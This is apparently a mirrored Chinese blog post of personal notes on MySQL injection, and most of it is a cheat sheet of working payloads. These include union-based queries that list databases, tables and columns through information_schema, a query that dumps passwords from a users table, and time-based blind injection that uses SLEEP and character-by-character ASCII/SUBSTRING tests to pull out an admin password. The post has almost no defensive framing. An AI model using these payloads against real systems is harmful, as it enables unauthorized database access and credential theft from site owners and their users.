zoukankan      html  css  js  c++  java
  • 【原创】mysql注入

    最近在搞mysql的注入的时候自己记录一下,留个纪念,以后忘记了可以看看。 

    查询表

     
    'and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 0,1-- 
    'and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761-- 
     
     
    查询字段
     
    and 1=2 union select 1,2,3,4,column_name,5,6,7 from information_schema.columns where table_name=表名的十六进制编码 and table_schema=数据库的16进制编码 limit 1,1-- 
     
    and 1=2 union select 1,2,3,4,group_concat(column_name),5,6,7 from information_schema.columns where table_name=表名的十六进制编码 and table_schema=数据库的16进制编码-- 
     
    查询数据
     
    'and 1=2 union select 1,concat(password) from users limit 0,1-- 
     
    基于时间的盲注
    SELECT user FROM tbl_user where user='aaa'+0 and if((select 1 from tbl_user where user=“admin" and password='1234567'),sleep(5),1);
     
    a'+0 UNION SELECT IF( ASCII( SUBSTRING(  PASSWORD , 1, 1 ) ) =50, SLEEP( 10 ) , NULL )  FROM admin WHERE username =  'admin'--
  • 相关阅读:
    linux驱动模板
    Matlab的安装
    级数模型
    多元思维
    一级指针和二级指针
    Biology 053: Visualization of Digestive Enzymes
    Biology 052: Digestion Experiment
    Biology 06: Metabolism and Nutrition
    线性回归之电力预测
    python之产生随机数
  • 原文地址:https://www.cnblogs.com/blck/p/4978220.html
Copyright © 2011-2022 走看看